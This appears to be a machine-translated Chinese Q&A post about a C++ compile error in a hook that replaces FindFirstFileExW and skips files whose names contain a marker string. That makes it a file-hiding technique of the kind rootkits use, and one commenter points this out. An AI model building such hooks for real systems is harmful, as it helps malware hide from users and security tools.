如何投射WIN32_FIND_DATA到LPVOID?將WIN32_FIND_DATA投射到LPVOID
我試圖掛鉤的功能,但我無法投WIN32_FIND_DATA到LPVOID
這是我的功能:
/* New FindFirstFileW Function */
HANDLE WINAPI newFindFirstFileExW(__in LPCTSTR lpFileName, __in FINDEX_INFO_LEVELS fInfoLevelId, __out LPVOID lpFindFileData, __in FINDEX_SEARCH_OPS fSearchOp,
__reserved LPVOID lpSearchFilter, __in DWORD dwAdditionalFlags)
{
HANDLE hFind;
WIN32_FIND_DATA findData;
BOOL ret;
hFind = FindFirstFileExW(lpFileName, fInfoLevelId, &findData, fSearchOp, lpSearchFilter, dwAdditionalFlags);
if (hFind == INVALID_HANDLE_VALUE)
return hFind;
// if first file name starts with HIDE_NAME_W skip the file
if (wcsstr(findData.cFileName, HIDE_NAME_W) != 0)
{
ret = true;
do {
ret = FindNextFileW(hFind, &findData);
} while (!ret && wcsstr(findData.cFileName, HIDE_NAME_W) != 0);
if (!ret)
{
SetLastError(ERROR_FILE_NOT_FOUND);
return INVALID_HANDLE_VALUE;
}
}
lpFindFileData = reinterpret_cast<LPVOID>(findData);
return hFind;
}
編輯: 謝謝大家的幫助,它現在我的工作問題是我忘了更改 被調用的函數..我正在鉤住FindFirstFileExW一些其他函數
你錯過了一個符號 - & – kichik
這難道不是來一個rootkit下? – Deanna